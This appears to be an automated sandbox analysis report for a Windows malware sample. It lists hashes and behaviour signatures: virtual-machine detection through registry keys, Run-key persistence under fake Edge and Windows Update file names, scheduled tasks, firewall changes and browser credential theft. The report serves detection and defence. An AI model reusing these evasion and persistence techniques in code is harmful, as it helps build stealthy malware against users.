a0f88b329983dbbd7c4a7d48a457b27f3549d4fa6d084dde8f352281ea26a19a

Analysis

max time kernel
53s
max time network
154s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
01/06/2026, 17:48

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Size 37.0MB
Sample260601-wdvw2sb141
SHA256 a0f88b329983dbbd7c4a7d48a457b27f3549d4fa6d084dde8f352281ea26a19a
MD5 5f8aef6b475bcf03fff0d707f937d357
SHA1 52988ae1bdff416bbd5263385700d86120992441
SHA512 47d309a215469ee1b6a6194ddb5ee5860dbf07482cf72269058f02212471667f0cda3439e7636cf5b53cd232a38dea0fed2008b463d4d84506f5ab1cec8995dc
SSDEEP 393216:S1Du8BtuBw2FEL3Z3aLUoQvo6LP/SgbSpYvKEh1EdKwlGQKPJuGsiTfREsrgCYfY:SMguj8Q4VfvTqFTrYCXqo5E53J
TLSH
T1C2878B0773E600A5E5B7D1388AA75507D773B8674331CADF329D06152FABAE09A7E320
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

collection defense_evasion discovery execution persistence spyware stealer

Malware Config

Signatures

Enumerates VirtualBox registry keys 2 TTPs 2 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxGuest	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxSF	reg.exe

Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	reg.exe

Adds policy Run key to start application 2 TTPs 10 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1636999435-3883760687-346127294-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\MsEdgeAutoUpdate = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\EdgeUpdate\\MsEdgeAutoUpdate.exe"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1636999435-3883760687-346127294-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1636999435-3883760687-346127294-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\SvcHost_3 = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\SearchFilterHost.exe"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1636999435-3883760687-346127294-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1636999435-3883760687-346127294-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1636999435-3883760687-346127294-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1636999435-3883760687-346127294-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\SvcHost_1 = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Edge\\Update\\MicrosoftEdgeUpdate.exe"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1636999435-3883760687-346127294-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1636999435-3883760687-346127294-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\SvcHost_2 = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Media Player\\wmlaunch.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1636999435-3883760687-346127294-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\SvcHost_4 = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\WindowsUpdate\\wuauclt.exe"	reg.exe

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	4500	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 64 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4996	powershell.exe
2288	powershell.exe
1496	powershell.exe
1208	powershell.exe
3264	powershell.exe
4000	powershell.exe
3316	powershell.exe
3832	powershell.exe
700	powershell.exe
4796	powershell.exe
356	powershell.exe
3184	powershell.exe
3804	powershell.exe
5076	powershell.exe
1560	powershell.exe
1516	powershell.exe
2832	powershell.exe
1192	powershell.exe
3996	powershell.exe
3408	powershell.exe
2096	powershell.exe
4436	powershell.exe
1840	powershell.exe
3780	powershell.exe
5056	powershell.exe
4024	powershell.exe
4788	powershell.exe
2952	powershell.exe
988	powershell.exe
4272	powershell.exe
4436	powershell.exe
5008	powershell.exe
944	powershell.exe
4560	powershell.exe
4584	powershell.exe
3892	powershell.exe
4660	powershell.exe
1888	powershell.exe
2948	powershell.exe
3312	powershell.exe
2732	powershell.exe
4208	powershell.exe
736	powershell.exe
3492	powershell.exe
4328	powershell.exe
2332	powershell.exe
1544	powershell.exe
4860	powershell.exe
4956	powershell.exe
1792	powershell.exe
2732	powershell.exe
4148	powershell.exe
4328	powershell.exe
3604	powershell.exe
4900	powershell.exe
4500	powershell.exe
4592	powershell.exe
2332	powershell.exe
1192	powershell.exe
4148	powershell.exe
3184	powershell.exe
4660	powershell.exe
3316	powershell.exe
4436	powershell.exe

Looks for VMWare Tools registry key 2 TTPs 2 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	reg.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	reg.exe

Looks for VMWare services registry key. 1 TTPs 2 IoCs

defense_evasion

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VMMEMCTL	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\vmci	reg.exe

Looks for Xen service registry key. 1 TTPs 1 IoCs

defense_evasion

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\xenevtchn	reg.exe

Modifies Windows Firewall 2 TTPs 4 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
1656	netsh.exe
1792	netsh.exe
2716	netsh.exe
1484	netsh.exe

Clipboard Data 1 TTPs 4 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
4724	cmd.exe
2200	powershell.exe
1564	cmd.exe
4340	powershell.exe

Executes dropped EXE 5 IoCs

pid	Process
2396	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
5032	MsEdgeAutoUpdate.exe
1948	SearchFilterHost.exe
1472	MicrosoftEdgeUpdate.exe
1028	wuauclt.exe

Identifies Wine through registry keys 2 TTPs 1 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wine	reg.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Indicator Removal: Clear Persistence 1 TTPs 2 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
4508	cmd.exe
2548	cmd.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Network Service Discovery 1 TTPs 4 IoCs

Attempt to gather information on host's network.

discovery

Network Service Discovery

T1046

pid	Process
1516	cmd.exe
4036	cmd.exe
3996	ARP.EXE
4272	ARP.EXE

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135

Enumerates processes with tasklist 1 TTPs 9 IoCs

discovery

Process Discovery

T1057

pid	Process
4072	tasklist.exe
3904	tasklist.exe
4584	tasklist.exe
2372	tasklist.exe
920	tasklist.exe
2236	tasklist.exe
4104	tasklist.exe
3372	tasklist.exe
3200	tasklist.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 6 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4856	cmd.exe
4608	cmd.exe
1976	cmd.exe
4328	cmd.exe
1340	cmd.exe
4536	cmd.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 6 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
2952	powershell.exe
1544	powershell.exe
568	powershell.exe
1564	powershell.exe
3460	powershell.exe
4788	powershell.exe

Subvert Trust Controls: Mark-of-the-Web Bypass 1 TTPs 12 IoCs

When files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.

defense_evasion

SIP and Trust Provider Hijacking

T1553.003

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Temp\2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe:Zone.Identifier	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe:Zone.Identifier	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe:Zone.Identifier	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe:Zone.Identifier	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe:Zone.Identifier	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe:Zone.Identifier	SearchFilterHost.exe
File opened for modification	C:\Users\Admin\AppData\Local\Temp\2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe:Zone.Identifier	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Local\Temp\2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe:Zone.Identifier	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier	MsEdgeAutoUpdate.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe:Zone.Identifier	MicrosoftEdgeUpdate.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe:Zone.Identifier	wuauclt.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 8 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
2768	cmd.exe
3180	cmd.exe
1052	netsh.exe
1504	cmd.exe
2528	netsh.exe
4944	netsh.exe
5000	cmd.exe
3996	netsh.exe

System Network Connections Discovery 1 TTPs 4 IoCs

Attempt to get a listing of network connections.

discovery

System Network Connections Discovery

T1049

pid	Process
3312	NETSTAT.EXE
3980	cmd.exe
3360	cmd.exe
4148	NETSTAT.EXE

Checks processor information in registry 2 TTPs 48 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	MsEdgeAutoUpdate.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	MsEdgeAutoUpdate.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	MsEdgeAutoUpdate.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	MsEdgeAutoUpdate.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	MsEdgeAutoUpdate.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	MsEdgeAutoUpdate.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	MsEdgeAutoUpdate.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	MsEdgeAutoUpdate.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	MsEdgeAutoUpdate.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	MsEdgeAutoUpdate.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	MsEdgeAutoUpdate.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	MsEdgeAutoUpdate.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	MsEdgeAutoUpdate.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	MsEdgeAutoUpdate.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	MsEdgeAutoUpdate.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	MsEdgeAutoUpdate.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	MsEdgeAutoUpdate.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	MsEdgeAutoUpdate.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	MsEdgeAutoUpdate.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	MsEdgeAutoUpdate.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	MsEdgeAutoUpdate.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	MsEdgeAutoUpdate.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	MsEdgeAutoUpdate.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	MsEdgeAutoUpdate.exe

Detects videocard installed 1 TTPs 2 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4048	WMIC.exe
3180	WMIC.exe

Gathers network information 2 TTPs 6 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3184	ipconfig.exe
1544	ipconfig.exe
3312	NETSTAT.EXE
4480	ipconfig.exe
4148	NETSTAT.EXE
492	ipconfig.exe

NTFS ADS 17 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe\:Zone.Identifier:$DATA	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe:Zone.Identifier	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe:Zone.Identifier	SearchFilterHost.exe
File created	C:\Users\Admin\AppData\Local\Temp\2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe:Zone.Identifier	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Local\Temp\2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe:Zone.Identifier	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Local\Temp\2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe:Zone.Identifier	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe:Zone.Identifier	wuauclt.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe:Zone.Identifier	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier	MsEdgeAutoUpdate.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe:Zone.Identifier	MicrosoftEdgeUpdate.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File created	C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe\:Zone.Identifier:$DATA	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File created	C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe\:Zone.Identifier:$DATA	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File created	C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe\:Zone.Identifier:$DATA	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe:Zone.Identifier	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File created	C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe\:Zone.Identifier:$DATA	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe:Zone.Identifier	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 32 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1084	schtasks.exe
3316	schtasks.exe
3832	schtasks.exe
1656	schtasks.exe
656	schtasks.exe
4436	schtasks.exe
3200	schtasks.exe
1160	schtasks.exe
916	schtasks.exe
1472	schtasks.exe
4868	schtasks.exe
3632	schtasks.exe
5064	schtasks.exe
4592	schtasks.exe
2264	schtasks.exe
3444	schtasks.exe
656	schtasks.exe
1656	schtasks.exe
760	schtasks.exe
4280	schtasks.exe
1916	schtasks.exe
4944	schtasks.exe
3788	schtasks.exe
8	schtasks.exe
3408	schtasks.exe
3480	schtasks.exe
1208	schtasks.exe
5080	schtasks.exe
1060	schtasks.exe
2592	schtasks.exe
4340	schtasks.exe
1888	schtasks.exe

Suspicious behavior: EnumeratesProcesses 57 IoCs

pid	Process
2728	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
2728	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
3272	powershell.exe
3272	powershell.exe
3272	powershell.exe
4500	powershell.exe
4500	powershell.exe
2728	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
2968	powershell.exe
2968	powershell.exe
876	powershell.exe
876	powershell.exe
876	powershell.exe
876	powershell.exe
876	powershell.exe
4596	powershell.exe
4596	powershell.exe
4660	powershell.exe
4660	powershell.exe
1888	powershell.exe
1888	powershell.exe
2200	powershell.exe
2200	powershell.exe
5076	powershell.exe
5076	powershell.exe
3604	powershell.exe
3604	powershell.exe
2096	powershell.exe
2096	powershell.exe
4000	powershell.exe
4000	powershell.exe
2360	powershell.exe
2360	powershell.exe
2948	powershell.exe
2948	powershell.exe
2372	powershell.exe
2372	powershell.exe
1560	powershell.exe
1560	powershell.exe
736	powershell.exe
736	powershell.exe
988	powershell.exe
988	powershell.exe
1516	powershell.exe
1516	powershell.exe
4272	powershell.exe
4272	powershell.exe
3312	powershell.exe
3312	powershell.exe
3312	powershell.exe
4900	powershell.exe
4900	powershell.exe
4900	powershell.exe
3316	powershell.exe
3316	powershell.exe
5032	MsEdgeAutoUpdate.exe
5032	MsEdgeAutoUpdate.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	3980	WMIC.exe
Token: SeSecurityPrivilege	3980	WMIC.exe
Token: SeTakeOwnershipPrivilege	3980	WMIC.exe
Token: SeLoadDriverPrivilege	3980	WMIC.exe
Token: SeSystemProfilePrivilege	3980	WMIC.exe
Token: SeSystemtimePrivilege	3980	WMIC.exe
Token: SeProfSingleProcessPrivilege	3980	WMIC.exe
